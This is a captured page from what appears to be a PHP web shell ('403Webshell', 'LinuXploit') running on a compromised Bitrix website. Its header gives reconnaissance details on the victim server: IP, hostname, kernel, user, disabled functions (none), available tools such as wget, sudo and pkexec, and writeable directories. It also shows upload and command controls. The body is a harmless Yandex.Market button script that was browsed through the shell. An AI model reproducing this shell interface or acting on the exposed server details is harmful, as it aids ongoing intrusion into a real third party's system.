403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/yandex.market/ui/button/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/yandex.market/ui/button/tradingaction.js
(function(BX, $, window) {

	const Plugin = BX.namespace('YandexMarket.Plugin');
	const Button = BX.namespace('YandexMarket.Ui.Button');

	const constructor = Button.TradingAction = Plugin.Base.extend({

		defaults: {
			url: null,
			setup: null,
			path: null,
			payload: {},

			lang: {},
			langPrefix: 'YANDEX_MARKET_UI_BUTTON_TRADING_ACTION_',
		},

		activate: function() {
			BX.showWait();

			return this.query().then(
				$.proxy(this.activateEnd, this),
				$.proxy(this.activateStop, this)
			);
		},

		query: function() {
			return $.ajax({
				url: this.options.url,
				method: 'POST',
				dataType: 'json',
				data: {
					setup: this.options.setup,
					path: this.options.path,
					payload: this.options.payload,
				},
			});
		},

		activateStop: function(xhr, reason) {
			alert(this.getLang('FAIL', { 'MESSAGE': reason }));
			BX.closeWait();
		},

		activateEnd: function(response) {
			if (response && response.status === 'ok') {
				alert(this.getLang('SUCCESS'));
			} else {
				alert(this.getLang('FAIL', { 'MESSAGE': response ? response.message : '' }));
			}

			BX.closeWait();
		},

	}, {
		dataName: 'uiButtonTradingAction',
	});

})(BX, jQuery, window);

Youez - 2016 - github.com/yon3zu
LinuXploit